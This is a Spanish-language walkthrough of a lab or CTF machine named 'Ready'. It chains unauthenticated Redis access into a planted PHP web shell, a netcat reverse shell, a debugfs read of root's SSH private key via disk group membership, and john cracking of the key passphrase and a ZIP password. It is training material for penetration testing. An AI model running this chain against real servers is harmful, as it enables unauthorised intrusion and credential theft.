Ready - Walkthrough
Introducción

Técnicas aboradas:
Explotación Redis-CLI
Abuso grupo disk (debugfs)
Fuerza bruta id_rsa key
Fuerza bruta archivo ZIP
Fase de reconocimiento
Escaneo de puertos sobre la máquina con nmap.
❯ sudo nmap -Pn -sS -n -vvv -T5 -p- 192.168.1.64
Scanning 192.168.1.64 [65535 ports]
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
6379/tcp open redis syn-ack ttl 64
8080/tcp open http-proxy syn-ack ttl 64
Escaneo de los servicios de los puertos abiertos con nmap.
❯ sudo nmap -p22,80,8080,6379 -sCV 192.168.1.64
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 51:f9:f5:59:cd:45:4e:d1:2c:06:41:3b:a6:7a:91:19 (RSA)
| 256 5c:9f:60:b7:c5:50:fc:01:fa:37:7c:dc:16:54:87:3b (ECDSA)
|_ 256 04:da:68:25:69:d6:2a:25:e2:5b:e2:99:36:36:d7:48 (ED25519)
80/tcp open http Apache httpd 2.4.54 ((Debian))
|_http-title: Apache2 Test Debian Default Page: It works
|_http-server-header: Apache/2.4.54 (Debian)
6379/tcp open redis Redis key-value store 6.0.16
8080/tcp open http Apache httpd 2.4.54 ((Debian))
|_http-server-header: Apache/2.4.54 (Debian)
|_http-title: Apache2 Test Debian Default Page: It works
Echamos un vistazo al servicio web HTTP publicado por el puerto 80. Nada interesante, el simple index.html por defecto de Apache.

Echamos un vistazo al servicio web HTTP publicado por el puerto 8080. Es muy probable que este servicio web este configurado con Redis, para que de alguna forma sea posible interactuar en el almacenamiento o recuperación de datos.

Realizamos fuzzing en busca de directorios y archivos ocultos en los dos servicios webs mencionados anteriormente. No encontramos nada interesante en ninguno de los servicios webs publicados.
❯ gobuster dir -u "http://192.168.1.64" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b 404 -t 100 -x "html,php,txt"
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
/index.html (Status: 200) [Size: 10705]
❯ gobuster dir -u "http://192.168.1.64:8080" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b 404 -t 100 -x "html,php,txt"
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
/index.html (Status: 200) [Size: 10705]
Nos centraremos por el servicio Redis publicado por el puerto 6379.
En su documentación pública pude encontrar un cheat-sheet de comandos interesantes, en este caso probamos de acceder al servicio sin proporcionar credenciales. Es posible acceder, esto quiere decir que se ha configurado permitiendo el acceso sin necesidad de proporcionar credenciales.
❯ redis-cli -u redis://192.168.1.64:6379
192.168.1.64:6379>
Existe el comando info para listar información acerca del servicio (el output del comando es mas largo, he acordado la salida de información).
192.168.1.64:6379> info
# Server
redis_version:6.0.16
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:6d95e1af3a2c082a
redis_mode:standalone
os:Linux 5.10.0-16-amd64 x86_64
arch_bits:64
multiplexing_api:epoll
atomicvar_api:atomic-builtin
gcc_version:10.2.1
process_id:418
run_id:8fca9c6b623544c194e4832feeb9fc34edec4148
tcp_port:6379
uptime_in_seconds:282
uptime_in_days:0
hz:10
configured_hz:10
lru_clock:6573
executable:/usr/bin/redis-server
config_file:
io_threads_active:0
Fase de explotación
Buscando información, encontramos un articulo en hacktricks con información de como crear una shell interactiva y proceder con un RCE sobre un servicio Redis.
Configuramos el directorio por defecto de un servicio web Apache. En este punto desconocemos si Redis hace uso del servicio web Apache publicado por el puerto 80 o 8080, pero es mas probable que haga uso del publicado por el 8080.
192.168.1.64:6379> config set dir /var/www/html
OK
Cambiamos el nombre del archivo de la base de datos de Redis.
192.168.1.64:6379> config set dbfilename redis.php
OK
Por defecto, Redis almacena los datos en un archivo llamado "dump.rdb". Sin embargo, con este comando, estamos cambiando el nombre del archivo de la base de datos a "redis.php". Esto significa que Redis guardará los datos en un archivo llamado "redis.php" en lugar de "dump.rdb".
Establecemos la shell interactiva como valor dentro de la variable redis.
192.168.1.64:6379> set redis "<?php system($_GET['cmd']); ?>"
OK
Guardamos la configuración y en este caso Redis, escribirá los datos en el archivo de base de datos redis.php.
192.168.1.64:6379> save
OK
Accedemos vía navegador al servicio web publicado por el puerto 8080 y probamos de realizar un RCE y tenemos ejecución de comandos.


Vamos a proceder a enviarnos una reverse shell por el puerto 4444. Abrimos el puerto con netcat.
❯ nc -nlvp 4444
listening on [any] 4444 ...
Ejecutamos el RCE donde nos enviaremos la reverse shell.

Recibimos la reverse shell.
❯ nc -nlvp 4444
listening on [any] 4444 ...
connect to [192.168.1.50] from (UNKNOWN) [192.168.1.64] 38554
whoami
ben
id
uid=1000(ben) gid=1000(ben) groups=1000(ben),6(disk)
Realizamos el tratamiento de la tty.
script /dev/null -c bash
CTRL + Z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 43 columns 189
Escalada de privilegios
Durante la enumeración de grupos del usuario ben, encontramos que pertenece al grupo disk. Este grupo es muy peligroso porque hay maneras de acceder a todos los datos de una máquina a través de el.
ben@ready:/var/www/html$ id
uid=1000(ben) gid=1000(ben) groups=1000(ben),6(disk)
En hacktricks encontramos esta entrada muy interesante donde se explica el proceso de elevación de privilegios desde el grupo disk.
Buscamos donde esta montada la raíz del sistema "/".
ben@ready:/var/www/html$ df -h
Filesystem Size Used Avail Use% Mounted on
/dev/sda1 6.9G 1.8G 4.7G 28% /
udev 473M 0 473M 0% /dev
tmpfs 489M 0 489M 0% /dev/shm
tmpfs 98M 492K 98M 1% /run
tmpfs 5.0M 0 5.0M 0% /run/lock
Entramos con debugfs dentro del sistema de archivos donde se monta la raíz para modificar el propio sistema de archivos.
ben@ready:/var/www/html$ /usr/sbin/debugfs /dev/sda1
debugfs 1.46.2 (28-Feb-2021)
debugfs:
Leemos la clave privada ssh del usuario root.
debugfs: cat /root/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,02E266E7A66462FE
¡CLAVE PRIVADA OCULTA!
-----END RSA PRIVATE KEY-----
Nos traemos la clave privada a nuestra máquina y sacamos el hash con ssh2john.
ssh2john id_rsa > idrsa.hash
Con john procedemos a romper el hash y sacar la contraseña de la passphrase de la id_rsa del usuario root.
john idrsa.hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
s****** (id_rsa)
Accedemos al usuario root de la máquina víctima vía ssh con la id_rsa.
ssh -i id_rsa [email protected]
Enter passphrase for key 'id_rsa':
Linux ready 5.10.0-16-amd64 #1 SMP Debian 5.10.127-1 (2022-06-30) x86_64
root@ready:~#
Obtenemos la flag del usuario ben.
root@ready:~# cat /home/ben/user.txt
(ben flag)
Nos damos cuenta que la root flag esta comprimida en un archivo zip, procederemos a traerlo a nuestra máquina.
root@ready:~# python3 -m http.server 7777
Serving HTTP on 0.0.0.0 port 7777 (http://0.0.0.0:7777/) ...
wget http://192.168.1.64:7777/root.zip
Connecting to 192.168.1.64:7777... connected.
HTTP request sent, awaiting response... 200 OK
Length: 225 [application/zip]
Saving to: ‘root.zip’
root.zip 100%[====================================================================================================>] 225 --.-KB/s in 0s
Procedemos a descomprimir el fichero zip pero nos damos cuenta que esta protegido con contraseña.
unzip root.zip
Archive: root.zip
[root.zip] root.txt password:
Con la herramienta zip2john sacamos el hash de la contraseña que protege el fichero comprimido y lo volcamos en un fichero llamado ziphash.
zip2john root.zip > ziphash
Con john rompemos el hash y sacamos su contraseña.
john --wordlist=/usr/share/wordlists/rockyou.txt ziphash
Loaded 1 password hash (PKZIP [32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
a****** (root.zip/root.txt)
Descomprimimos ahora si el fichero comprimido zip introduciendo la contraseña.
unzip root.zip
Archive: root.zip
[root.zip] root.txt password:
inflating: root.txt
Tenemos la root flag.
cat root.txt
(root flag)
Última actualización